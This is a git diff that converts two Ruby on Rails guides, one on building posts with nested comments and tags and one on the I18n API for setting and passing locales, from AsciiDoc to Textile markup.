 Rails runs _before filters_ before any action in the controller. You can use the +:only+ clause to limit a before filter to only certain actions, or an +:except+ clause to specifically skip a before filter for certain actions. Rails also allows you to define _after filters_ that run after processing an action, as well as _around filters_ that surround the processing of actions. Filters can also be defined in external classes to make it easy to share them between controllers.
 
-For more information on filters, see the link:../actioncontroller_basics.html[Action Controller Basics] guide.
+For more information on filters, see the "Action Controller Basics":actioncontroller_basics.html guide.
 
-== Adding a Second Model
+h3. Adding a Second Model
 
 Now that you've seen what's in a model built with scaffolding, it's time to add a second model to the application. The second model will handle comments on blog posts.
 
-=== Generating a Model 
+h4. Generating a Model
 
 Models in Rails use a singular name, and their corresponding database tables use a plural name. For the model to hold comments, the convention is to use the name Comment. Even if you don't want to use the entire apparatus set up by scaffolding, most Rails developers still use generators to make things like models and controllers. To create the new model, run this command in your terminal:
 
-[source, shell]
--------------------------------------------------------
-$ script/generate model Comment commenter:string body:text post:references
--------------------------------------------------------
+
+$ script/generate model Comment commenter:string body:text
+    post:references
+
 
 This command will generate four files:
 
 * +app/models/comment.rb+ - The model
-* +db/migrate/20091013214407_create_comments.rb - The migration
+* +db/migrate/20091013214407_create_comments.rb+ - The migration
 * +test/unit/comment_test.rb+ and +test/fixtures/comments.yml+ - The test harness.
 
 First, take a look at +comment.rb+:
 
-[source, ruby]
--------------------------------------------------------
+
 class Comment < ActiveRecord::Base
   belongs_to :post
 end
--------------------------------------------------------
+
 
 This is very similar to the +post.rb+ model that you saw earlier. The difference is the line +belongs_to :post+, which sets up an Active Record _association_. You'll learn a little about associations in the next section of this guide.
 
 In addition to the model, Rails has also made a migration to create the corresponding database table:
 
-[source, ruby]
--------------------------------------------------------
+
 class CreateComments < ActiveRecord::Migration
   def self.up
     create_table :comments do |t|
@@ -936,18 +894,17 @@ class CreateComments < ActiveRecord::Migration
     drop_table :comments
   end
 end
--------------------------------------------------------
+
 
 The +t.references+ line sets up a foreign key column for the association between the two models. Go ahead and run the migration:
 
-[source, shell]
--------------------------------------------------------
+
 $ rake db:migrate
--------------------------------------------------------
+
 
 Rails is smart enough to only execute the migrations that have not already been run against the current database.
 
-=== Associating Models
+h4. Associating Models
 
 Active Record associations let you easily declare the relationship between two models. In the case of comments and posts, you could write out the relationships this way:
 
@@ -956,49 +913,45 @@ Active Record associations let you easily declare the relationship between two m
 
 In fact, this is very close to the syntax that Rails uses to declare this association. You've already seen the line of code inside the Comment model that makes each comment belong to a Post:
 
-[source, ruby]
--------------------------------------------------------
+
 class Comment < ActiveRecord::Base
   belongs_to :post
 end
--------------------------------------------------------
+
 
 You'll need to edit the +post.rb+ file to add the other side of the association:
 
-[source, ruby]
--------------------------------------------------------
+
 class Post < ActiveRecord::Base
   validates_presence_of :name, :title
   validates_length_of :title, :minimum => 5
   has_many :comments
 end
--------------------------------------------------------
+
 
 These two declarations enable a good bit of automatic behavior. For example, if you have an instance variable +@post+ containing a post, you can retrieve all the comments belonging to that post as the array +@post.comments+.
 
-TIP: For more information on Active Record associations, see the link:../association_basics.html[Active Record Associations] guide.
+TIP: For more information on Active Record associations, see the "Active Record Associations":association_basics.html guide.
 
-=== Adding a Route
+h4. Adding a Route
 
 _Routes_ are entries in the +config/routes.rb+ file that tell Rails how to match incoming HTTP requests to controller actions. Open up that file and find the existing line referring to +posts+ (it will be right at the top of the file). Then edit it as follows:
 
-[source, ruby]
--------------------------------------------------------
+
 map.resources :posts, :has_many => :comments
--------------------------------------------------------
+
 
 This creates +comments+ as a _nested resource_ within +posts+. This is another part of capturing the hierarchical relationship that exists between posts and comments.
 
-TIP: For more information on routing, see the link:../routing_outside_in.html[Rails Routing from the Outside In] guide.
+TIP: For more information on routing, see the "Rails Routing from the Outside In":routing_outside_in.html guide.
 
-=== Generating a Controller
+h4. Generating a Controller
 
 With the model in hand, you can turn your attention to creating a matching controller. Again, there's a generator for this:
 
-[source, shell]
--------------------------------------------------------
+
 $ script/generate controller Comments index show new edit
--------------------------------------------------------
+
 
 This creates seven files:
 
@@ -1012,8 +965,7 @@ This creates seven files:
 
 The controller will be generated with empty methods and views for each action that you specified in the call to +script/generate controller+:
 
-[source, ruby]
--------------------------------------------------------
+
 class CommentsController < ApplicationController
   def index
   end
@@ -1028,12 +980,11 @@ class CommentsController < ApplicationController
   end
 
 end
--------------------------------------------------------
+
 
 You'll need to flesh this out with code to actually process requests appropriately in each method. Here's a version that (for simplicity's sake) only responds to requests that require HTML:
 
-[source, ruby]
--------------------------------------------------------
+
 class CommentsController < ApplicationController
   def index
     @post = Post.find(params[:post_id])
@@ -1059,7 +1010,7 @@ class CommentsController < ApplicationController
       render :action => "new"
     end
   end
-  
+
   def edit
     @post = Post.find(params[:post_id])
     @comment = @post.comments.find(params[:id])
@@ -1074,7 +1025,7 @@ class CommentsController < ApplicationController
       render :action => "edit"
     end
   end
-  
+
   def destroy
     @post = Post.find(params[:post_id])
     @comment = Comment.find(params[:id])
@@ -1087,27 +1038,25 @@ class CommentsController < ApplicationController
   end
 
 end
--------------------------------------------------------
+
 
 You'll see a bit more complexity here than you did in the controller for posts. That's a side-effect of the nesting that you've set up; each request for a comment has to keep track of the post to which the comment is attached.
 
 In addition, the code takes advantage of some of the methods available for an association. For example, in the +new+ method, it calls
 
-[source, ruby]
--------------------------------------------------------
+
 @comment = @post.comments.build
--------------------------------------------------------
+
 
 This creates a new +Comment+ object _and_ sets up the +post_id+ field to have the +id+ from the specified +Post+ object in a single operation.
 
-=== Building Views
+h4. Building Views
 
 Because you skipped scaffolding, you'll need to build views for comments "by hand." Invoking +script/generate controller+ will give you skeleton views, but they'll be devoid of actual content. Here's a first pass at fleshing out the comment views.
 
 The +views/comments/index.html.erb+ view:
 
-[source, ruby]
--------------------------------------------------------
+
 
Comments for <%= @post.title %>

 
 
@@ -1121,8 +1070,13 @@ The +views/comments/index.html.erb+ view:
     
-    
-    
+    
+    
 <% end %>
 
<%=h comment.commenter %>
     <%=h comment.body %>
     <%= link_to 'Show', post_comment_path(@post, comment) %><%= link_to 'Edit', edit_post_comment_path(@post, comment) %><%= link_to 'Destroy', post_comment_path(@post, comment), :confirm => 'Are you sure?', :method => :delete %>
+        <%= link_to 'Edit', edit_post_comment_path(@post, comment) %>
+    
+        <%= link_to 'Destroy', post_comment_path(@post, comment),
+            :confirm => 'Are you sure?', :method => :delete %>
+    
   

@@ -1131,12 +1085,11 @@ The +views/comments/index.html.erb+ view:
 
 <%= link_to 'New comment', new_post_comment_path(@post) %>
 <%= link_to 'Back to Post', @post %>
--------------------------------------------------------
+
 
 The +views/comments/new.html.erb+ view:
 
-[source, ruby]
--------------------------------------------------------
+
 
New comment

 
 <% form_for([@post, @comment]) do |f| %>
@@ -1156,12 +1109,11 @@ The +views/comments/new.html.erb+ view:
 <% end %>
 
 <%= link_to 'Back', post_comments_path(@post) %>
--------------------------------------------------------
+
 
 The +views/comments/show.html.erb+ view:
 
-[source, ruby]
--------------------------------------------------------
+
 
Comment on <%= @post.title %>

 
 

@@ -1176,12 +1128,11 @@ The +views/comments/show.html.erb+ view:
 
 <%= link_to 'Edit', edit_post_comment_path(@post, @comment) %> |
 <%= link_to 'Back', post_comments_path(@post) %>
--------------------------------------------------------
+
 
 The +views/comments/edit.html.erb+ view:
 
-[source, ruby]
--------------------------------------------------------
+
 
Editing comment

 
 <% form_for([@post, @comment]) do |f| %>
@@ -1202,16 +1153,15 @@ The +views/comments/edit.html.erb+ view:
 
 <%= link_to 'Show', post_comment_path(@post, @comment) %> |
 <%= link_to 'Back', post_comments_path(@post) %>
--------------------------------------------------------
+
 
 Again, the added complexity here (compared to the views you saw for managing posts) comes from the necessity of juggling a post and its comments at the same time.
 
-=== Hooking Comments to Posts
+h4. Hooking Comments to Posts
 
 As a next step, I'll modify the +views/posts/show.html.erb+ view to show the comments on that post, and to allow managing those comments:
 
-[source, ruby]
--------------------------------------------------------
+
 

   Name:
   <%=h @post.name %>
@@ -1229,61 +1179,57 @@ As a next step, I'll modify the +views/posts/show.html.erb+ view to show the com
 
 
Comments

 <% @post.comments.each do |c| %>
-	

-	  Commenter:
-	  <%=h c.commenter %>
-	

+  

+    Commenter:
+    <%=h c.commenter %>
+  

 
-	

-	  Comment:
-	  <%=h c.body %>
-	

+  

+    Comment:
+    <%=h c.body %>
+  

 <% end %>
 
 <%= link_to 'Edit Post', edit_post_path(@post) %> |
 <%= link_to 'Back to Posts', posts_path %> |
 <%= link_to 'Manage Comments', post_comments_path(@post) %>
--------------------------------------------------------
+
 
 Note that each post has its own individual comments collection, accessible as +@post.comments+. That's a consequence of the declarative associations in the models. Path helpers such as +post_comments_path+ come from the nested route declaration in +config/routes.rb+.
 
-== Building a Multi-Model Form
+h3. Building a Multi-Model Form
 
 Comments and posts are edited on two separate forms - which makes sense, given the flow of this mini-application. But what if you want to edit more than one thing on a single form? Rails 2.3 offers new support for nested forms. Let's add support for giving each post multiple tags, right in the form where you create the post. First, create a new model to hold the tags:
 
-[source, shell]
--------------------------------------------------------
+
 $ script/generate model tag name:string post:references
--------------------------------------------------------
+
 
 Run the migration to create the database table:
 
-[source, shell]
--------------------------------------------------------
+
 $ rake db:migrate
--------------------------------------------------------
+
 
 Next, edit the +post.rb+ file to create the other side of the association, and to tell Rails that you intend to edit tags via posts:
 
-[source, ruby]
--------------------------------------------------------
+
 class Post < ActiveRecord::Base
   validates_presence_of :name, :title
   validates_length_of :title, :minimum => 5
   has_many :comments
   has_many :tags
-  
-  accepts_nested_attributes_for :tags, :allow_destroy => :true	,
-  	:reject_if => proc { |attrs| attrs.all? { |k, v| v.blank? } }
+
+  accepts_nested_attributes_for :tags, :allow_destroy => :true  ,
+    :reject_if => proc { |attrs| attrs.all? { |k, v| v.blank? } }
 end
--------------------------------------------------------
+
 
 The +:allow_destroy+ option on the nested attribute declaration tells Rails to display a "remove" checkbox on the view that you'll build shortly. The +:reject_if+ option prevents saving new tags that do not have any attributes filled in.
 
 You'll also need to modify +views/posts/_form.html.erb+ to include the tags:
 
-[source, ruby]
--------------------------------------------------------
+
 <% @post.tags.build if @post.tags.empty? %>
 <% form_for(@post) do |post_form| %>
   <%= post_form.error_messages %>
@@ -1318,49 +1264,33 @@ You'll also need to modify +views/posts/_form.html.erb+ to include the tags:
     <%= post_form.submit "Save" %>
   

 <% end %>
--------------------------------------------------------
+
 
 With these changes in place, you'll find that you can edit a post and its tags directly on the same view.
 
-NOTE: You may want to use javascript to dynamically add additional tags on a single form. For an example of this and other advanced techniques, see the link:http://github.com/alloy/complex-form-examples/tree/nested_attributes[nested model sample application].
+NOTE. You may want to use javascript to dynamically add additional tags on a single form. For an example of this and other advanced techniques, see the "nested model sample application":http://github.com/alloy/complex-form-examples/tree/nested_attributes.
 
-== What's Next?
+h3. What's Next?
 
 Now that you've seen your first Rails application, you should feel free to update it and experiment on your own. But you don't have to do everything without help. As you need assistance getting up and running with Rails, feel free to consult these support resources:
 
-* The link:http://guides.rubyonrails.org/[Ruby On Rails guides]
-* The link:http://groups.google.com/group/rubyonrails-talk[Ruby on Rails mailing list]
+* The "Ruby On Rails guides":http://guides.rubyonrails.org
+* The "Ruby on Rails mailing list":http://groups.google.com/group/rubyonrails-talk
 * The #rubyonrails channel on irc.freenode.net
-* The link:http://wiki.rubyonrails.org/rails[Rails wiki]
 
 Rails also comes with built-in help that you can generate using the rake command-line utility:
 
 * Running +rake doc:guides+ will put a full copy of the Rails Guides in the +/doc/guides+ folder of your application. Open +/doc/guides/index.html+ in your web browser to explore the Guides.
 * Running +rake doc:rails+ will put a full copy of the API documentation for Rails in the +/doc/api+ folder of your application. Open +/doc/api/index.html+ in your web browser to explore the API documentation.
 
-== Changelog ==
+h3. Changelog
 
-http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/2[Lighthouse ticket]
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/2
 
-* 
+* February 1, 2009: Updated for Rails 2.3 by "Mike Gunderloy":credits.html#mgunderloy
 * November 3, 2008: Formatting patch from Dave Rothlisberger
-* November 1, 2008: First approved version by link:../authors.html#mgunderloy[Mike Gunderloy]
-* October 16, 2008: Revised based on feedback from Pratik Naik by link:../authors.html#mgunderloy[Mike Gunderloy] (not yet approved for publication)
-* October 13, 2008: First complete draft by link:../authors.html#mgunderloy[Mike Gunderloy] (not yet approved for publication)
-* October 12, 2008: More detail, rearrangement, editing by link:../authors.html#mgunderloy[Mike Gunderloy] (not yet approved for publication)
+* November 1, 2008: First approved version by "Mike Gunderloy":credits.html#mgunderloy
+* October 16, 2008: Revised based on feedback from Pratik Naik by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication)
+* October 13, 2008: First complete draft by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication)
+* October 12, 2008: More detail, rearrangement, editing by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication)
 * September 8, 2008: initial version by James Miller (not yet approved for publication)
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
diff --git a/vendor/rails/railties/doc/guides/source/i18n.txt b/vendor/rails/railties/guides/source/i18n.textile
similarity index 64%
rename from vendor/rails/railties/doc/guides/source/i18n.txt
rename to vendor/rails/railties/guides/source/i18n.textile
index 4465a772..bb445c0b 100644
--- a/vendor/rails/railties/doc/guides/source/i18n.txt
+++ b/vendor/rails/railties/guides/source/i18n.textile
@@ -1,9 +1,8 @@
-The Rails Internationalization (I18n) API
-=========================================
+h2. Rails Internationalization (I18n) API
 
 The Ruby I18n (shorthand for _internationalization_) gem which is shipped with Ruby on Rails (starting from Rails 2.2) provides an easy-to-use and extensible framework for *translating your application to a single custom language* other than English or for *providing multi-language support* in your application.
 
-The process of "internationalization" usually means to abstract all strings and other locale specific bits (such as date or currency formats) out of your application. The process of "localization" means to provide translations and localized formats for these bits. <<1>>
+The process of "internationalization" usually means to abstract all strings and other locale specific bits (such as date or currency formats) out of your application. The process of "localization" means to provide translations and localized formats for these bits. [1]
 
 So, in the process of _internationalizing_ your Rails application you have to:
 
@@ -13,15 +12,17 @@ So, in the process of _internationalizing_ your Rails application you have to:
 
 In the process of _localizing_ your application you'll probably want to do following three things:
 
-* Replace or supplement Rail's default locale -- eg. date and time formats, month names, ActiveRecord model names, etc
+* Replace or supplement Rails' default locale -- eg. date and time formats, month names, ActiveRecord model names, etc
 * Abstract texts in your application into keyed dictionaries -- eg. flash messages, static texts in your views, etc
 * Store the resulting dictionaries somewhere
 
 This guide will walk you through the I18n API and contains a tutorial how to internationalize a Rails application from the start.
 
-NOTE: The Ruby I18n framework provides you with all neccessary means for internationalization/localization of your Rails application. You may, however, use any of various plugins and extensions available, which add additional functionality or features. See Rails http://rails-i18n.org/wiki[I18n Wiki] for more information.
+endprologue.
 
-== How I18n in Ruby on Rails works
+NOTE: The Ruby I18n framework provides you with all neccessary means for internationalization/localization of your Rails application. You may, however, use any of various plugins and extensions available, which add additional functionality or features. See Rails "I18n Wiki":http://rails-i18n.org/wiki for more information.
+
+h3. How I18n in Ruby on Rails works
 
 Internationalization is a complex problem. Natural languages differ in so many ways (eg. in pluralization rules) that it is hard to provide tools for solving all problems at once. For that reason the Rails I18n API focuses on:
 
@@ -30,7 +31,7 @@ Internationalization is a complex problem. Natural languages differ in so many w
 
 As part of this solution, *every static string in the Rails framework* -- eg. Active Record validation messages, time and date formats -- *has been internationalized*, so _localization_ of a Rails application means "over-riding" these defaults.
 
-=== The overall architecture of the library
+h4. The overall architecture of the library
 
 Thus, the Ruby I18n gem is split into two parts:
 
@@ -39,44 +40,41 @@ Thus, the Ruby I18n gem is split into two parts:
 
 As a user you should always only access the public methods on the I18n module, but it is useful to know about the capabilities of the backend.
 
-NOTE: It is possible (or even desirable) to swap the shipped Simple backend with a more powerful one, which would store translation data in a relational database, GetText dictionary, or similar. See section <<_using_different_backends,Using different backends>> below.
+NOTE: It is possible (or even desirable) to swap the shipped Simple backend with a more powerful one, which would store translation data in a relational database, GetText dictionary, or similar. See section "Using different backends":#usingdifferentbackends below.
 
-=== The public I18n API
+h4. The public I18n API
 
 The most important methods of the I18n API are:
 
-[source, ruby]
--------------------------------------------------------
-translate         # Lookup text translations
-localize          # Localize Date and Time objects to local formats
--------------------------------------------------------
+
+translate # Lookup text translations
+localize  # Localize Date and Time objects to local formats
+
 
 These have the aliases #t and #l so you can use them like this:
 
-[source, ruby]
--------------------------------------------------------
+
 I18n.t 'store.title'
 I18n.l Time.now
--------------------------------------------------------
+
 
 There are also attribute readers and writers for the following attributes:
 
-[source, ruby]
--------------------------------------------------------
+
 load_path         # Announce your custom translation files
 locale            # Get and set the current locale
 default_locale    # Get and set the default locale
 exception_handler # Use a different exception_handler
 backend           # Use a different backend
--------------------------------------------------------
+
 
 So, let's internationalize a simple Rails application from the ground up in the next chapters!
 
-== Setup the Rails application for internationalization
+h3. Setup the Rails application for internationalization
 
 There are just a few, simple steps to get up and running with I18n support for your application.
 
-=== Configure the I18n module
+h4. Configure the I18n module
 
 Following the _convention over configuration_ philosophy, Rails will set-up your application with reasonable defaults. If you need different settings, you can overwrite them easily.
 
@@ -84,41 +82,38 @@ Rails adds all +.rb+ and +.yml+ files from +config/locales+ directory to your *t
 
 See the default +en.yml+ locale in this directory, containing a sample pair of translation strings:
 
-[source, ruby]
--------------------------------------------------------
+
 en:
   hello: "Hello world"
--------------------------------------------------------
+
 
-This means, that in the +:en+ locale, the key _hello_ will map to _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Record validation messages in the http://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml[+activerecord/lib/active_record/locale/en.yml+] file or time and date formats in the http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml[+activesupport/lib/active_support/locale/en.yml+] file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend.
+This means, that in the +:en+ locale, the key _hello_ will map to _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Record validation messages in the "+activerecord/lib/active_record/locale/en.yml+":http://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml file or time and date formats in the "+activesupport/lib/active_support/locale/en.yml+":http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend.
 
 The I18n library will use *English* as a *default locale*, ie. if you don't set a different locale, +:en+ will be used for looking up translations.
 
-NOTE: The i18n library takes *pragmatic approach* to locale keys (after http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en[some discussion]), including only the _locale_ ("language") part, like +:en+, +:pl+, not the _region_ part, like +:en-US+ or +:en-UK+, which are traditionally used for separating "languages" and "regional setting" or "dialects". (For instance, in the +:en-US+ locale you would have $ as a currency symbol, while in +:en-UK+, you would have €. Also, insults would be different in American and British English :) Reason for this pragmatic approach is that most of the time, you usually care about making your application available in different "languages", and working with locales is much simpler this way. However, nothing stops you from separating regional and other settings in the traditional way. In this case, you could eg. inherit from the default +en+ locale and then provide UK specific settings in a +:en-UK+ dictionary.
+NOTE: The i18n library takes *pragmatic approach* to locale keys (after "some discussion":http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like +:en+, +:pl+, not the _region_ part, like +:en-US+ or +:en-UK+, which are traditionally used for separating "languages" and "regional setting" or "dialects". (For instance, in the +:en-US+ locale you would have $ as a currency symbol, while in +:en-UK+, you would have £. Also, insults would be different in American and British English :) Reason for this pragmatic approach is that most of the time, you usually care about making your application available in different "languages", and working with locales is much simpler this way. However, nothing stops you from separating regional and other settings in the traditional way. In this case, you could eg. inherit from the default +en+ locale and then provide UK specific settings in a +:en-UK+ dictionary.
 
-The *translations load path* (+I18n.load_path+) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you. 
+The *translations load path* (+I18n.load_path+) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you.
 
 NOTE: The backend will lazy-load these translations when a translation is looked up for the first time. This makes it possible to just swap the backend with something else even after translations have already been announced.
 
 The default +environment.rb+ files has instruction how to add locales from another directory and how to set different default locale. Just uncomment and edit the specific lines.
 
-[source, ruby]
--------------------------------------------------------
+
 # The internationalization framework can be changed
 # to have another default locale (standard is :en) or more load paths.
 # All files from config/locales/*.rb,yml are added automatically.
 # config.i18n.load_path << Dir[File.join(RAILS_ROOT, 'my', 'locales', '*.{rb,yml}')]
 # config.i18n.default_locale = :de
--------------------------------------------------------
+
 
-=== Optional: custom I18n configuration setup
+h4. Optional: custom I18n configuration setup
 
 For the sake of completeness, let's mention that if you do not want to use the +environment.rb+ file for some reason, you can always wire up things manually, too.
 
 To tell the I18n library where it can find your custom translation files you can specify the load path anywhere in your application - just make sure it gets run before any translations are actually looked up. You might also want to change the default locale. The simplest thing possible is to put the following into an *initializer*:
 
-[source, ruby]
--------------------------------------------------------
+
 # in config/initializer/locale.rb
 
 # tell the I18n library where to find your translations
@@ -126,37 +121,35 @@ I18n.load_path << Dir[ File.join(RAILS_ROOT, 'lib', 'locale', '*.{rb,yml}') ]
 
 # set default locale to something else then :en
 I18n.default_locale = :pt
--------------------------------------------------------
+
 
-=== Setting and passing the locale
+h4. Setting and passing the locale
 
 If you want to translate your Rails application to a *single language other than English* (the default locale), you can set I18n.default_locale to your locale in +environment.rb+ or an initializer as shown above, and it will persist through the requests.
 
 However, you would probably like to *provide support for more locales* in your application. In such case, you need to set and pass the locale between requests.
 
-WARNING: You may be tempted to store choosed locale in a _session_ or a _cookie_. *Do not do so*. The locale should be transparent and a part of the URL. This way you don't break people's basic assumptions about the web itself: if you send a URL of some page to a friend, she should see the same page, same content. A fancy word for this would be that you're being http://en.wikipedia.org/wiki/Representational_State_Transfer[_RESTful_]. Read more about RESTful approach in http://www.infoq.com/articles/rest-introduction[Stefan Tilkov's articles]. There may be some exceptions to this rule, which are discussed below.
+WARNING: You may be tempted to store choosed locale in a _session_ or a _cookie_. *Do not do so*. The locale should be transparent and a part of the URL. This way you don't break people's basic assumptions about the web itself: if you send a URL of some page to a friend, she should see the same page, same content. A fancy word for this would be that you're being "_RESTful_":http://en.wikipedia.org/wiki/Representational_State_Transfer. Read more about RESTful approach in "Stefan Tilkov's articles":http://www.infoq.com/articles/rest-introduction. There may be some exceptions to this rule, which are discussed below.
 
 The _setting part_ is easy. You can set locale in a +before_filter+ in the ApplicationController like this:
 
-[source, ruby]
--------------------------------------------------------
+
 before_filter :set_locale
 def set_locale
   # if params[:locale] is nil then I18n.default_locale will be used
   I18n.locale = params[:locale]
 end
--------------------------------------------------------
+
 
 This requires you to pass the locale as a URL query parameter as in +http://example.com/books?locale=pt+. (This is eg. Google's approach). So +http://localhost:3000?locale=pt+ will load the Portugese localization, whereas +http://localhost:3000?locale=de+ would load the German localization, and so on. You may skip the next section and head over to the *Internationalize your application* section, if you want to try things out by manually placing locale in the URL and reloading the page.
 
 Of course, you probably don't want to manually include locale in every URL all over your application, or want the URLs look differently, eg. the usual +http://example.com/pt/books+ versus +http://example.com/en/books+. Let's discuss the different options you have.
 
-IMPORTANT: Following examples rely on having locales loaded into your application available as an array of strings like +["en", "es", "gr"]+. This is not inclued in current version of Rails 2.2 -- forthcoming Rails version 2.3 will contain easy accesor +available_locales+. (See http://github.com/svenfuchs/i18n/commit/411f8fe7[this commit] and background at http://rails-i18n.org/wiki/pages/i18n-available_locales[Rails I18n Wiki].) 
+IMPORTANT: Following examples rely on having locales loaded into your application available as an array of strings like +["en", "es", "gr"]+. This is not inclued in current version of Rails 2.2 -- forthcoming Rails version 2.3 will contain easy accesor +available_locales+. (See "this commit":http://github.com/svenfuchs/i18n/commit/411f8fe7 and background at "Rails I18n Wiki":http://rails-i18n.org/wiki/pages/i18n-available_locales.)
 
 So, for having available locales easily available in Rails 2.2, we have to include this support manually in an initializer, like this:
 
-[source, ruby]
--------------------------------------------------------
+
 # config/initializers/available_locales.rb
 #
 # Get loaded locales conveniently
@@ -177,18 +170,17 @@ I18n.backend.send(:init_translations)
 
 AVAILABLE_LOCALES = I18n.backend.available_locales
 RAILS_DEFAULT_LOGGER.debug "* Loaded locales: #{AVAILABLE_LOCALES.inspect}"
--------------------------------------------------------
+
 
 You can then wrap the constant for easy access in ApplicationController:
 
-[source, ruby]
--------------------------------------------------------
+
 class ApplicationController < ActionController::Base
   def available_locales; AVAILABLE_LOCALES; end
 end
--------------------------------------------------------
+
 
-=== Setting locale from the domain name
+h4. Setting locale from the domain name
 
 One option you have is to set the locale from the domain name where your application runs. For example, we want +www.example.com+ to load English (or default) locale, and +www.example.es+ to load Spanish locale. Thus the _top-level domain name_ is used for locale setting. This has several advantages:
 
@@ -199,8 +191,7 @@ One option you have is to set the locale from the domain name where your applica
 
 You can implement it like this in your ApplicationController:
 
-[source, ruby]
--------------------------------------------------------
+
 before_filter :set_locale
 def set_locale
   I18n.locale = extract_locale_from_uri
@@ -215,12 +206,11 @@ def extract_locale_from_tld
   parsed_locale = request.host.split('.').last
   (available_locales.include? parsed_locale) ? parsed_locale  : nil
 end
--------------------------------------------------------
+
 
 We can also set the locale from the _subdomain_ in very similar way:
 
-[source, ruby]
--------------------------------------------------------
+
 # Get locale code from request subdomain (like http://it.application.local:3000)
 # You have to put something like:
 #   127.0.0.1 gr.application.local
@@ -229,20 +219,19 @@ def extract_locale_from_subdomain
   parsed_locale = request.subdomains.first
   (available_locales.include? parsed_locale) ? parsed_locale  : nil
 end
--------------------------------------------------------
+
 
 If your application includes a locale switching menu, you would then have something like this in it:
 
-[source, ruby]
--------------------------------------------------------
+
 link_to("Deutsch", "#{APP_CONFIG[:deutsch_website_url]}#{request.env['REQUEST_URI']}")
--------------------------------------------------------
+
 
 assuming you would set +APP_CONFIG[:deutsch_website_url]+ to some value like +http://www.application.de+.
 
 This solution has aforementioned advantages, however, you may not be able or may not want to provide different localizations ("language versions") on different domains. The most obvious solution would be to include locale code in the URL params (or request path).
 
-=== Setting locale from the URL params
+h4. Setting locale from the URL params
 
 Most usual way of setting (and passing) the locale would be to include it in URL params, as we did in the +I18n.locale = params[:locale]+ _before_filter_ in the first example. We would like to have URLs like +www.example.com/books?locale=ja+ or +www.example.com/ja/books+ in this case.
 
@@ -250,30 +239,28 @@ This approach has almost the same set of advantages as setting the locale from d
 
 Getting the locale from +params+ and setting it accordingly is not hard; including it in every URL and thus *passing it through the requests* is. To include an explicit option in every URL (eg. +link_to( books_url(:locale => I18n.locale) )+) would be tedious and probably impossible, of course.
 
-Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its http://api.rubyonrails.org/classes/ActionController/Base.html#M000515[+*ApplicationController#default_url_options*+], which is useful precisely in this scenario: it enables us to set "defaults" for http://api.rubyonrails.org/classes/ActionController/Base.html#M000503[+url_for+] and helper methods dependent on it (by implementing/overriding this method).
+Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its "+*ApplicationController#default_url_options*+":http://api.rubyonrails.org/classes/ActionController/Base.html#M000515, which is useful precisely in this scenario: it enables us to set "defaults" for "+url_for+":http://api.rubyonrails.org/classes/ActionController/Base.html#M000503 and helper methods dependent on it (by implementing/overriding this method).
 
 We can include something like this in our ApplicationController then:
 
-[source, ruby]
--------------------------------------------------------
+
 # app/controllers/application_controller.rb
 def default_url_options(options={})
   logger.debug "default_url_options is passed options: #{options.inspect}\n"
   { :locale => I18n.locale }
 end
--------------------------------------------------------
+
 
 Every helper method dependent on +url_for+ (eg. helpers for named routes like +root_path+ or +root_url+, resource routes like +books_path+ or +books_url+, etc.) will now *automatically include the locale in the query string*, like this: +http://localhost:3001/?locale=ja+.
 
 You may be satisfied with this. It does impact the readability of URLs, though, when the locale "hangs" at the end of every URL in your application. Moreover, from the architectural standpoint, locale is usually hierarchically above the other parts of application domain: and URLs should reflect this.
 
-You probably want URLs look like this: +www.example.com/en/books+ (which loads English locale) and +www.example.com/nl/books+ (which loads Netherlands locale). This is achievable with the "over-riding +default_url_options+" strategy from above: you just have to set up your routes with http://api.rubyonrails.org/classes/ActionController/Resources.html#M000354[+path_prefix+] option in this way:
+You probably want URLs look like this: +www.example.com/en/books+ (which loads English locale) and +www.example.com/nl/books+ (which loads Netherlands locale). This is achievable with the "over-riding +default_url_options+" strategy from above: you just have to set up your routes with "+path_prefix+":http://api.rubyonrails.org/classes/ActionController/Resources.html#M000354 option in this way:
 
-[source, ruby]
--------------------------------------------------------
+
 # config/routes.rb
 map.resources :books, :path_prefix => '/:locale'
--------------------------------------------------------
+
 
 Now, when you call +books_path+ method you should get +"/en/books"+ (for the default locale). An URL like +http://localhost:3001/nl/books+ should load the Netherlands locale, then, and following calls to +books_path+ should return +"/nl/books"+ (because the locale changed).
 
@@ -281,29 +268,27 @@ Of course, you need to take special care of root URL (usually "homepage" or "das
 
 You would probably need to map URLs like these:
 
-[source, ruby]
--------------------------------------------------------
+
 # config/routes.rb
 map.dashboard '/:locale', :controller => "dashboard"
--------------------------------------------------------
+
 
 Do take special care about the *order of your routes*, so this route declaration does not "eat" other ones. (You may want to add it directly before the +map.root+ declaration.)
 
-IMPORTANT: This solution has currently one rather big *downside*. Due to the _default_url_options_ implementation, you have to pass the +:id+ option explicitely, like this: +link_to 'Show', book_url(:id => book)+ and not depend on Rails' magic in code like +link_to 'Show', book+. If this should be a problem, have a look on two plugins which simplify working with routes in this way: Sven Fuchs's http://github.com/svenfuchs/routing-filter/tree/master[_routing_filter_] and Raul Murciano's http://github.com/raul/translate_routes/tree/master[_translate_routes_]. See also the page http://rails-i18n.org/wiki/pages/how-to-encode-the-current-locale-in-the-url[How to encode the current locale in the URL] in the Rails i18n Wiki.
